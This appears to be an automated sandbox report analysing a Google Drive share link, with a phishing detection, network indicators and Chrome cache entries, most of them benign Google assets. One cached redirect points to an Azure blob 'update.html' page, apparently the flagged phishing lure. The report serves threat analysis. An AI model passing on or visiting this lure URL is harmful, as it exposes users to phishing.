142.250.186.164	unknown	United States	15169	GOOGLEUS	false
142.250.184.238	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556045
Start date and time:	2024-11-14 20:41:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@23/92@34/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.167.84, 142.250.186.174, 142.250.185.195, 34.104.35.123, 142.250.185.170, 142.250.185.131, 172.217.18.3, 20.12.23.50, 199.232.210.172, 192.229.221.95, 40.69.42.241, 20.3.187.198, 142.250.185.74, 216.58.212.138, 172.217.18.10, 142.250.184.234, 142.250.184.202, 142.250.186.42, 142.250.186.106, 172.217.16.202, 142.250.185.106, 216.58.212.170, 142.250.74.202, 172.217.16.138, 216.58.206.74, 142.250.186.138, 142.250.186.74, 172.217.18.106, 172.217.23.99, 142.250.185.234, 142.250.185.138, 216.58.206.42, 172.217.23.106, 142.250.186.170, 142.250.185.202, 142.250.184.195, 142.250.181.234, 57.150.87.129, 142.250.186.163
Excluded domains from analysis (whitelisted): ssl.gstatic.com, slscr.update.microsoft.com, youtube.googleapis.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, clients2.google.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, opendirectline.blob.core.windows.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, content.googleapis.com, blob.iad11prdstr04a.store.core.windows.net, azureedge-t-prod.trafficmanager.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	low
Preview:	<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0" y="0" width="31px" height="4060px" viewBox="0 0 31 4060" preserveAspectRatio="none"><g transform="translate(0,2170)"><path d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,2428)"><path fill="#C4C7C5" d="M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm0 14H4V4h16v12zm-9-5H7V9h4V5h2v4h4v2h-4v4h-2v-4z"/></g><g transform="translate(0,3396)"><path d="M17.705 10.1401L14.3 4H9.70001L3.60001 15L5.70001 19H13.8027C14.2671 19.8028 14.9121 20.488 15.6822 21H5.70001C5.00001 21 4.30001 20.6 3.90001 19.9L1.80001 15.9C1.50001 15.3 1.50001 14.6 1.80001 14L8.00001 3C8.30001 2.4 9.00001 2 9.70001 2H14.3C15 2 15.7 2.4 16.1 3L20.0307 10.0882C19.6959 10

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.690596689293278
Encrypted:	false
SSDEEP:	24:ars5HGJLO4eG5bQxWGUpbIW779bHBoLU489YmBZo:arssA4L6hvaZ7wv8mmI
MD5:	916C9BCCCF19525AD9D3CD1514008746
SHA1:	9CCCE6978D2417927B5150FFAAC22F907FF27B6E
SHA-256:	358E814139D3ED8469B36935A071BE6696CCAD7DD9BDBFDB80C052B068AE2A50
SHA-512:	B73C1A81997ABE12DBA4AE1FA38F070079448C3798E7161C9262CCBA6EE6A91E8A243F0E4888C8AEF33CE1CF83818FC44C85AE454A522A079D08121CD8628D00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b .....+......m..dW.@..tm.Y.....m.....m.m..L.\|.....{..b...t..........=H..qt..V..X..<jQc...p...fdU.\2.....9T...Jz!9...L.)&.....n....`~.T.\.\.$.....qQ.....LFOx......^&,"bB..Lh9$_.6<...A...Q.T&y.,'...p...W`.2.?X(.o.4.J?.2...@.4.....X..c......[UZJ...MN.].z..f..DFe.J.....:!r...0X......).....^..!....u..c..R4.GH....Y....E....Q......+!..)...e"......,.Ge.r.T..!..r..(.\|.9f...}......(...s..N...[..~.%6QF..g..r......CN.e"(..uY.h._1.H.e....r.k..%^S.c..<..0.s.j..,D........]..y.2(..OC.o\.3..".....cw...:;.btq......w=.......R-[].4..]...?.....o..K../cC.<O...y..O.......{.-'Ln9..M.*6t.(.........o.K.$....bz.X._d......Z].U.....t....Bf.Zl.^vA._..g.{l....V...{....=.jua..[...k......j....Y\...!..+.m..X..t(....."..Mz.26l....7X.C...-...Z.lvl.......y}x..........7.m.VV....IEND.B`.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=4l6n8aatlif1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	downloaded
Size (bytes):	1000
Entropy (8bit):	5.282704867347437
Encrypted:	false
SSDEEP:	24:NwXIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:NwXmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	6A96AE81FF5FCC195755EAD8817F4FA1
SHA1:	B863CFDE580EB3DBF9B5A5E669EF27A2EABD8F73
SHA-256:	605DAF6CF13B0CB273E3128B6FDD88B6420AA1D8CE94F9E5863F32AA450D265E
SHA-512:	A43CF4EF7FB4E82E12F6B1A0CDA757294694F073AE5CD0E3D64017A93AF30C5F0CE015F4B31C77BBEDBECCB610D0BA013B4A37A174045BF639786D519B95C686
Malicious:	false
Reputation:	low
URL:	https://youtube.googleapis.com/iframe_api
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/0ccfa671\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x576, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	10078
Entropy (8bit):	7.9717451168627
Encrypted:	false
SSDEEP:	192:svN8/n/GjQv3Xa2Mjxe+11kjmGGm3oNgG28E:u6+Y3qRB14T3qub
MD5:	D6F063D63C626B6F7048A8D973FA4A57
SHA1:	63AFEF128FBEDE5AE386A0CC84AE797A74A383FA
SHA-256:	53CCFF08FF5E4D0B2A1BE6F577BA3FBF60FB4512BA4D368A83867C88298005D8
SHA-512:	A73446E2341988A61BED600D7ADFFCABA0688A9613EF353587E096B45F6D367BA13AAEFB74BAB9265DD1B70CB56AF2AA5F82C86132491851062129965DD974E0
Malicious:	false
Reputation:	low
URL:	https://drive.google.com/drive-viewer/AKGpihbu9JoX6HaPrSMhBjFMLlZqRoFGZIaMUlsIMCO_03LfvFbYFcvPKtHamXrT0qSn9KwliGhO-lqulI9xOWwCqbJNtxwQGEexRO4=s1600-rw-v1
Preview:	RIFFV'..WEBPVP8 J'.......*..@.>.Z.O.%#.!.....en.v.. .....sc..7...?T......s..~....a.{.....3..../...?............O.7.?`?._...."....~.z......^...K.W....g.J.^?..@...>%.u.~.y/..S_..@.............._..........+.h...u..]T.......K.....>...Pk.%...ci.r.<......r..U>(9.}3.@R...5..2D.....w....T.........K.....>.. )uS.&&x>.. )uS...:....\|Ps`.g\...O..l.L.......`W..d...%hEf.J..m..o....:....\|Ps`.g\....t.y.y.)U....X........OoQ@y_}K.Z,.. ...e...5g..N..,.........r..U>(9.}3.@R.O......a...w.z4.'L.......c.5..jk.{......>...'4..gRC.S..U....3.2.x.]..V..Q.7.c#.A...M.."..q.M5.w.ur7.~.Hw....W.@a.!..=..kg....)a..ZP..\|..O..l.L...n.Q...{..J.....1..s..Mk..nN....>.....;@,...b.z.K..2].%.1i_M...V..3l7bm..\R....A.Q..i.w...'PX,.....k.L.mry...V....x.T.....{.....N}..:.zF./.........". .P.....yL.._..#.e...:6..be@.8.V.....L......v.D..%H...6...gd.....6..m................db..K.Ir..N,...b.......4....%H,Dn.9.........\......I.0&..36..r].....Z...h.gA+....#.1b...3.`FR4UY...ti.._

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	226
Entropy (8bit):	5.331689956671959
Encrypted:	false
SSDEEP:	6:JiMVBdgqZj8DHgWdzRiAU2uvxV112Zfifl0RILgxg6n:MMHdVBMHgWdzR0512oNz6
MD5:	CA139E911F149668CCD11991C3A24B9B
SHA1:	0347D1C1BC5947BF6D17807F57C0477816475519
SHA-256:	CCCF7454FA3517AABC4FDE137FF1F0105E77E03100312873DFD9A69E098463FB
SHA-512:	0BFCFD1821A16AEA63C3511EF9902D3C2556922F81212F9F7B1F68F9D5C7F9960753C87D91186C37AEFBA387A13212C458AA824A7E9CD286E4F9F82BCAECB565
Malicious:	false
Reputation:	low
URL:	https://opendirectline.blob.core.windows.net/favicon.ico
Preview:	.<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:b57df145-801e-009c-48cd-36481c000000.Time:2024-11-14T19:43:25.5077616Z</Message></Error>

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15844, version 1.0
Category:	downloaded
Size (bytes):	15844
Entropy (8bit):	7.986244297125621
Encrypted:	false
SSDEEP:	384:0R6Km4yijh4fD2bcmxSXvr3XlQS09DiSuy5:lKHyUKv7qS0YSt
MD5:	EC17B8A4B615BCFD221D30BA412F3B16
SHA1:	D72C8A5B499A2FA7653746C03EB3223F0EAF88EA
SHA-256:	7C666230EF68413B148AA5F83714DB3BC80C28466962F506952C7B2E516D6403
SHA-512:	42B6F29B139C5A63B350B822557C9D1DBCFFDB8830E0AEF328B01CD8DF720C1E0ADB625B8AA4833B074E1ABF85C1657547BBF2DBFA176FA83FD86333A3391DC3
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v60/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjYUvaYr.woff2
Preview:	wOF2......=...........=r................................l?HVAR.#.`?STAT..'...H/<....$....j.0.".6.$..P. ..B.......z..6.xv;x.'..g.bp.d........@.......J..0.L......V.<.u.pA.x.c...g2..8....T$.>.<..F~.u.&. .....X..au.....A.....OX.X..].V.n..$+4[.qqe.,.A....-~....e?......I...<..F.$'.......E.....O....PL.. .4..."JU.........xq.I.........At.I..t]#...N....p.xXB.. Y....7...I".D$........T..tV}.(.J%B.m5.....h..]._.....{z..../..{1.[2.;5l\Ab@"...D.p.n..f.V.x.......I ...).O.&&..{.{w^./...a.?.@e.....<.Y./[.bK..b2..^...0.........o.;.9`'92..$I.......B.c..Jv..{....P..L.D./..23.f..+7..+..p,?.\o...T..0.J...............z..Py..[........4k.o.)D..r...U..".4.q....q!.I....Q6.W.,...j^.?>`.P....{yh58..QN...........$%...............!..%.R.r.....l(...y9.W:...M.L}........S...4......Z.\\|......jSZE..LX.$........l...F,.!.(.1..y...M&...dk..(.D....R.....E....7...Y0.qv.t........Z.i.u.l."..g!g#.(.dl....s..iau.........#,..a.C.._...!=>k.J.L..pf.\|..../.... .....K.....9P

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1195)
Category:	dropped
Size (bytes):	208991
Entropy (8bit):	5.5222563123974515
Encrypted:	false
SSDEEP:	3072:zhowDRxNrA//e9ItRxaeLWl+ASbhvNi5QpPLHNzqN2NIuOtU3FyGPDBms8:6wpkBOeSlPSKOLHNziA1pPDBms8
MD5:	610B5B8B695F5C485199F902CF8BF365
SHA1:	C0BDD53303B1B3EEBBABFAEB0470D8FB256CD53B
SHA-256:	FBFDB6975EEA988C823D2F7935E1238DC0D03CBDAC1898314573ACE61A8B5333
SHA-512:	94578B62B37DA1D68CC753CCED759BD14EDE6AFBA9F40BE96DDC63B47DC8595671BF70DD62BE3BA82E889B6C7CB9FAA077176C575392703A302CA9C53D20B11B
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_1(function(_){var window=this;._.zg=(window.gapi\|\|{}).load;._.Rn=_.xe(_.Ie,"rw",_.ye());.var Sn=function(a,b){(a=_.Rn[a])&&a.state<b&&(a.state=b)};var Tn=function(a){a=(a=_.Rn[a])?a.oid:void 0;if(a){var b=_.ue.getElementById(a);b&&b.parentNode.removeChild(b);delete _.Rn[a];Tn(a)}};_.Un=function(a){a=a.container;typeof a==="string"&&(a=document.getElementById(a));return a};_.Vn=function(a){var b=a.clientWidth;return"position:absolute;top:-10000px;width:"+(b?b+"px":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};._.Wn=function(a,b){var c={},d=a.yc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height=f;d=a.getIframeEl();e=a.getId();Sn(e,2);a:{e=a.getSiteEl();c=c\|\|{};if(_.Ie.oa){var k=d.id;if(k){f=(f=_.Rn[k])?f.state:void 0;if(f===1\|\|f===4)break a;Tn(k)}}(f=e.nextSibling)&&f.dataset&&f.dataset.gapistub&&(e.parentNode.removeChild(f),e.style.cssText="");f=c.width;h=

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (684)
Category:	dropped
Size (bytes):	6365
Entropy (8bit):	5.416928499013917
Encrypted:	false
SSDEEP:	96:Scw/+7BQRacy2Wfa46/gdpZUeOl6hV9i/5SrTXgF5RU7:p57waa46/cOl2V9i/5OEvRU7
MD5:	4CD1A3ACB2F948314D12808ABE1359C1
SHA1:	7C805F69347DCAE0E50AB62ABB310240290D9B17
SHA-256:	B8C18B890AE10D48394379C8C8A070D701489AFDFEB616E2B6167FEB45B52722
SHA-512:	31FF69AE33EF09A1F882C1E5A64B68CACB58E6DE35F289B3979B194EB785F0915FABB49329185E2F9043305B288E04B92816CFC6CBB279940A3A4E059B635425
Malicious:	false
Reputation:	low
Preview:	try{.B("MpJwZc");..C();.}catch(e){_DumpException(e)}.try{.B("UUJqVe");..C();.}catch(e){_DumpException(e)}.try{.$f(Sz);.}catch(e){_DumpException(e)}.try{.B("s39S4");.var rBc=function(a){if(!Wva(a))throw Error("K``"+String(a));},sBc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),e0a(b,!1))},tBc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return ph(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);Zka(a)},xBc=function(){uBc\|\|(uBc=!0,vBc=jja,jja=function(a){vBc&&.vBc(a);for(var b=0;b<a.length;b++){var c=a[b];Jf(c)&&ag(Sf(c)).dVa(c)}},wBc=kja,kja=function(a){wBc&&wBc(a);for(var b=0;b<a.length;b++){var c=a[b];Jf(c)&&ag(Sf(c)).eVa(c)}})},yBc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-c

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/common/cleardot.gif?zx=7yw4ctpgm7b4
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	460
Entropy (8bit):	5.250721788358663
Encrypted:	false
SSDEEP:	6:wBzkrQWR0iYBtqW3kUWPq2JlKIO0uBMcUGwgk7uRYuBMcUGS8Qp71QrizY0uBMc1:4krY1trWPqfQOfYOSFQrp0Oh
MD5:	2CF47B4E5DC689D03FEF9DC594DAA5FC
SHA1:	5D9963499E6F5B9276E6F264A77C0662D4D28B08
SHA-256:	1903F56B30E82D2F69D252E80DF061320667622319F0D9E39B08E4E92A6BEBDA
SHA-512:	007CFC34C57B977675BA727BBD55BB196F7B933945BA808F0868050FA9FDE4B80A5D3170F74434143C6957C79B0476DDCE590ED1E662542B6B0086CA6661E314
Malicious:	false
Reputation:	low
URL:	https://www.google.com/url?q=https://opendirectline.blob.core.windows.net/main/update.html?47i5h2&sa=D&source=apps-viewer-frontend&ust=1731699781569616&usg=AOvVaw3gVtIqiB4yYtz7DPR-O5aq&hl=en
Preview:	<HTML><HEAD>.<meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>Redirecting</TITLE>.<META HTTP-EQUIV="refresh" content="1; url=https://opendirectline.blob.core.windows.net/main/update.html?47i5h2">.</HEAD>.<BODY onLoad="location.replace('https://opendirectline.blob.core.windows.net/main/update.html?47i5h2'+document.location.hash)">.Redirecting you to https://opendirectline.blob.core.windows.net/main/update.html?47i5h2</BODY></HTML>..

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	382
Entropy (8bit):	5.397647451972227
Encrypted:	false
SSDEEP:	6:hxuJLzLMb038Gr6XEDS37fVBeQDXY2F6YkAbvOm/esHeOr6XEp4Nhdx434QL:hYA0rJm79hLFBkAb2m/esHtP4Nbx4IQL
MD5:	62C62F5C020FB5D2285B5C3576D254EC
SHA1:	0236BAA5D4D528909C374726C02E41A3BD715A9A
SHA-256:	DC193A27475D579DC6EF852B0D380A398361454FEBC7F6CD51D9F11E90200F8B
SHA-512:	A07DFCBFE07D0294F122E063A86F015B475AEA1516664ED6C7971832433D1796CC428FD64B98901961DF745AF948402BFE070BDEFB34DF5C1D95867F7AB1118B
Malicious:	false
Reputation:	low
URL:	https://content.googleapis.com/static/proxy.html?usegapi=1&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%2Fk%3Dgapi.gapi.en.SGzW6IeCawI.O%2Fam%3DAACA%2Fd%3D1%2Frs%3DAHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw%2Fm%3D__features__
Preview:	<!DOCTYPE html>.<html>.<head>.<title></title>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />.<script nonce="l4LxyZqu0x02HMFeR3EAgQ">. window['startup'] = function() {. googleapis.server.init();. };.</script>.<script src="https://apis.google.com/js/googleapis.proxy.js?onload=startup" async defer nonce="l4LxyZqu0x02HMFeR3EAgQ"></script>.</head>.<body>.</body>.</html>.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4005)
Category:	downloaded
Size (bytes):	121397
Entropy (8bit):	5.472638120984786
Encrypted:	false
SSDEEP:	1536:OYIcfKtWtBpDiQk+QlnjKQ/169Q1qL8QyeQbt0vza52AoNWyYNMf/WULPT1VjPuB:dIyK9umKQ4C6K0vz/PT1VCN8A
MD5:	21B4B6C5C9F0AD04F3EA3612108FDE49
SHA1:	60A9BFD282F5C1CDBF8567D552F055BB8CB5CB9D
SHA-256:	832A1311F1ED475C49B2C9E6B9F1A1602CE7173CC69D2FC6DD1324D300511B10
SHA-512:	CAC007A6DF7465BDDF3DE2D4B011736125AA6F5FE6DBEFD3AE435BEBF001E90150F8DE6FA05C7F48D83CF387727AFCD9480E184C2FC677C9303991BB6E9ECCF4
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Preview:	(function(){var m,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},t=ca(this),v=function(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.v("Symbol",function(a){if(a)return a;var b=function(g,f){this.$jscomp$symbol$id_=g;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){return this.$jscomp$symbol$id_};var c="jscomp_symbol_"+(Math.random

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 54, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3170
Entropy (8bit):	7.934630496764965
Encrypted:	false
SSDEEP:	96:c2ZEPhMXQnPkVrTEnGD9c4vnrmBYBaSfS18:c2/XQnPGroGD9vvnXVaq
MD5:	9D73B3AA30BCE9D8F166DE5178AE4338
SHA1:	D0CBC46850D8ED54625A3B2B01A2C31F37977E75
SHA-256:	DBEF5E5530003B7233E944856C23D1437902A2D3568CDFD2BEAF2166E9CA9139
SHA-512:	8E55D1677CDBFE9DB6700840041C815329A57DF69E303ADC1F994757C64100FE4A3A17E86EF4613F4243E29014517234DEBFBCEE58DAB9FC56C81DD147FDC058
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......6.....%.`....)IDATx..].pT..>.l......b..(Hv7 D7.n.8....V..H_.R;S.hY`w.(...N_R."0`.-.A..\|.N..`....n..{.&..l.o..;.....a....d..$.................J.1......7+.c...o..T/.~V.r.....D..G.Ic.....E_.FUR.&..U%...X.4!!Q.H";......e(Ic...$..."1..jR[.L..../Ek.}AH...W.L.V....Y..S..q...!._r.D....G,%...Hu.$q..\.j.x...G.....]....B.i.I.+B.....Hu.....Q...K;...J.q..._......_.x....A:......j....:c...^.....k=GIj..Y]B.V..m...Y.\....$..!....+.R%..U/;p.....R4.g.R...XH.3%..JHHby.eqOZdnS..$.. ....dn...$.w....E.o.8...b@.z.)5.L4\|.F...9......pP.8.\|....-.M..:..ux...7.]...'..(q..~.....KQ.W..,b..L<.Y.].V+....t4.$.V.O.....D.5..v.j...Hd.M....z.......V..q.p.......;:.J.%2.G.;./.E...!.H. 